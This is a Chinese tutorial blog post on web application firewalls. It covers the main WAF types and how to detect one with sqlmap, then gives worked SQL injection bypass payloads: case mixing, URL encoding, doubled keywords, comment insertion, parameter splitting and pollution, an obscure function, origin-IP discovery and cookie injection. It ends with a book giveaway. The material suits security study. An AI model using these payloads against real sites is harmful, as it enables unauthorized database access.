mysql|文末送书 | WAF 那些事

mysql|文末送书 | WAF 那些事
文章图片

Hi!,我是小小,这是小小本周的最后一篇,本篇将会介绍WAF的事情,本篇将会文末送书。在此小小举出小手,相当欢迎各位快点快点快点参加。
什么是WAF WAF是一种产品,一种web应用防火墙,通过执行一定的策如,实现保护Web应用程序。
WAF分类 软件型WAF 软件型WAF是以软件的形式保护服务器上的文件内容,由于安装在服务器上,所以可以随时解除到服务器上的文件,直接检测到服务器上是否由webshell的创建,是否由木马,等。
硬件型WAF 以硬件的形式部署在链路中,支持多种部署方式,可以拦截恶意流量,可以监听拦截的记录,
云WAF 一般以反向代理的形式工作,通过配置NS记录或CNAME记录,使对网站的请求报文优先经过WAF主机,经过WAF主机过滤后,将认为无害的请求报文再发送给实际网站服务器进行请求,可以说是带防护功能的CDN。
网站系统内置的WAF 此时分为以下的几种
  1. 输入参数的强置类型转换
  2. 输入参数合法性校验。
  3. 关键函数执行的检测。
  4. 对输入流程的数据进行相关的过滤,再执行。
识别网站WAF的类型 SQLMap
python sqlmap.py -u "http://xxx.com/se/" --identify-waf --batch

使用SQLMap自带的WAF模块可以识别出WAF种类,输入SQL命令可以看到相应的识别的结果mysql|文末送书 | WAF 那些事
文章图片
可以看到识别出WAF的类型为XXX Web Application Firewall。要想了解详细的识别规则可以查看SQLMap的WAF目录下的相关脚本,也可以按照其格式自主添加新的WAF识别规则,写好规则文件后直接放到WAF目录下即可。
手工判断 在URL后面直接加上基础的测试语句,例如
union select 1,2,3%23

或者相应的参数,如果别拦截,证明存在WAF,如果没有拦截,说明没有存在WAF。mysql|文末送书 | WAF 那些事
文章图片

绕过WAF方法 大小写 在规则匹配的时候,使用这种方式
uNion sElEct 1,2,3,4,5

URL编码 少数WAF不会对URL编码进行过滤如下所示
union select 1,2,3,4,5

替换为
%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%2c%35

替换关键字 替换一些关键字,例如select等关键字
ununionion selselectect 1,2,3,4,5

使用注释 添加注释绕过WAF
union/*2333*/select/*aaaa*/1, 2, 3, 4, 5

多参数请求拆分 【mysql|文末送书 | WAF 那些事】对于多个参数拼接到同一条SQL语句的情况,可以进行拆分 例如请求URL时,GET参 数为如下格式。
a=[input1]&b=[input2]

将GET的参数a和参数b拼接到SQL语句中,SQL语句如下所示。
and a=[input1] and b=[input2]

这时就可以将注入语句进行拆分,如下所示。
a=union/*&b=*/select 1, 2, 3, 4

最终将参数a和参数b拼接,得到的SQL语句如下所示。
and a=union /*and b=*/select 1, 2, 3, 4

HTTP参数污染 HTTP参数污染是指当同一参数出现多次,不同的中间件会解析为不同的结果,具体如表所示(例子以参数color=red&color= blue为例)mysql|文末送书 | WAF 那些事
文章图片
在上述提到的中间线中,IIS比较容易利用,可以直接分割带逗号的SQL语句。在其余的中间件中,如果WAF只检测了同参数名中的第一个或最后一个,并且中间件特性正好取与WAF相反的参数,则可成功绕过。下面以IIS为例,一般的SQL注入语句如下所示。
Inject=union select 1, 2, 3, 4

将SQL注入语句转换为以下格式。
Inject=union/*&inject=*/select/*&inject=*/1&inject=2&inject=3&inject=4

最终在IIS中读入的参数值将如下所示。
Inject=union/*,*/select/*,*/1, 2, 3, 4

生僻函数 使用生僻函数绕过
SELECT polygon((select*from (select*from(select@@version)f)x));

寻找网站源站IP 通过网站ip直接访问,绕过WAF 寻找网站源ip的方法
  1. 寻找网站的历史解析记录。
  2. 多个不同区域ping网站,查看IP解析的结果。
  3. 找网站的二级域名、NS、MX记录等对应的IP。
  4. 订阅网站邮件,查看邮件发送方的IP。
注入参数到cookie中 某些程序员在代码中使用
$_REQUEST

获取参数,而$_REQUEST会依次从GET/POST/cookie中获取参数,如果WAF只检测了GET/POST而没有检测cookie,可以将注入语句放入cookie中进行绕过。
送书 本次送书为 Node.js企业级应用开发实战
mysql|文末送书 | WAF 那些事
文章图片
赠书数量为一本,联合的出版社为北京大学出版社,感谢北京大学出版社的支持。活动截止时间为2020年10月01日0点0分。活动规则:在10月01日0点0分之前,在本篇微信公众号文章下方进行评论,按照评论点赞数量最高的进行赠送。

结语 小小,双鱼座男,一枚文艺青年,你若不在,我必在,你若在,我也必在,我会永远的等你,我是小小,本篇结束,我们下期再见。
mysql|文末送书 | WAF 那些事
文章图片

小明菜市场
推荐阅读
● 为什么系列之不能重写service方法
● 细说 | "失效"的private修饰符
● 知道 | 同学,你都了解关系型数据库,确定不了解一下这种数据库吗?
● 基础 | 零散的MySql基础记不住,看这一篇就够啦
● 面试 | 你说你熟悉MySql,那你就来谈谈InnoDB如何解决幻读的?
给我个好看再走好吗?

    推荐阅读